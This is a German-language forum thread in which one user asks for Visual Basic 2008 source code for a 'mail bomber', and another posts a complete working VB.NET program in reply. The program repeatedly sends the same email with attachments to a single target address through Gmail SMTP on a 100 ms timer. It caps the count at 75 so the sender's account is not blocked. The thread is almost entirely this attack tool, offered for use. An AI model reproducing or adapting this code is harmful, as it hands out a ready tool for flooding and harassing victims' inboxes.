Mail Bomber Source Code?

[H@xX0r]

Hab mal eine frage hat jemand villeicht einen Source Code für einen Mail Bomber in Visual Basic 2008?
Da ja Crashers nicht klappt frag ich jetzt einfach mal blöd.

MfG H@xX0r

[ea$y]

Hier kannst du dir einiges abkucken

Imports System.Net.Mail
Public Class Form1
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
    End Sub
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    End Sub
    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        OpenFileDialog1.ShowDialog()
    End Sub
    Private Sub OpenFileDialog1_FileOk(ByVal sender As System.Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles OpenFileDialog1.FileOk
        For Each track As String In OpenFileDialog1.FileNames
            ListBox1.Items.Add(track)
        Next
    End Sub
    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        For Each track As String In OpenFileDialog1.FileNames
            ListBox1.Items.Clear()
        Next
    End Sub
    Private Sub ListBox1_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ListBox1.SelectedIndexChanged
    End Sub
    Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
        End
    End Sub
    Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click
        Timer1.Enabled = True
        Button5.Text = ("Sending " + (sendamount.Text) + (" messages."))
    End Sub
    Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.Click
        Timer1.Stop()
        Label6.Text = 0
        ProgressBar1.Value = 0
    End Sub
    Private Sub ProgressBar1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ProgressBar1.Click
    End Sub
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Dim MyMailMessage As New MailMessage()
        MyMailMessage.From = New MailAddress(usernametext.Text)
        MyMailMessage.To.Add(TextBox1.Text)
        MyMailMessage.Subject = TextBox2.Text
        MyMailMessage.Body = RichTextBox1.Text
        For counter = 0 To ListBox1.Items.Count - 1
            Dim Attach As Net.Mail.Attachment = New Net.Mail.Attachment(ListBox1.Items(counter))
            MyMailMessage.Attachments.Add(Attach)
        Next
        Dim SMTPServer As New SmtpClient("smtp.gmail.com")
        SMTPServer.Port = 587
        SMTPServer.Credentials = New System.Net.NetworkCredential(usernametext.Text, TextBox5.Text)
        SMTPServer.EnableSsl = True
        Dim sendnumber As Integer = sendamount.Text
        If Label6.Text < sendnumber Then
            Timer1.Interval = 100
            ProgressBar1.Value = Label6.Text
            ProgressBar1.Minimum = 0
            ProgressBar1.Maximum = sendnumber
            ProgressBar1.Update()
            Try
                Label6.Text = Val(Label6.Text) + 1
                SMTPServer.Send(MyMailMessage)
            Catch ex As SmtpException
                MessageBox.Show(ex.Message)
            End Try
        ElseIf Label6.Text = sendnumber Then
            Timer1.Stop()
            Label6.Text = 0
            ProgressBar1.Value = 0
            MessageBox.Show("Done sending " + (sendamount.Text) + (" E-Mail's to ") + (TextBox1.Text) + ("!"))
        End If
    End Sub
    Private Sub LinkLabel1_LinkClicked(ByVal sender As System.Object, ByVal e As System.Windows.Forms.LinkLabelLinkClickedEventArgs) Handles LinkLabel1.LinkClicked
        System.Diagnostics.Process.Start("http://www.natespages.ucoz.com")
    End Sub
    Private Sub sendamount_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles sendamount.TextChanged
        If sendamount.Text = "" Then
            sendamount.Text = 1
        End If
        If sendamount.Text <= 0 Then
            MessageBox.Show("you can not send 0 messages!")
        End If
        If sendamount.Text >= 76 Then
            MessageBox.Show("keep your number to 75 or below to prevent your account from being blocked.")
            sendamount.Text = 75
        End If
    End Sub
    Private Sub usernametext_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles usernametext.TextChanged
    End Sub
    Private Sub Label6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label6.Click
    End Sub
End Class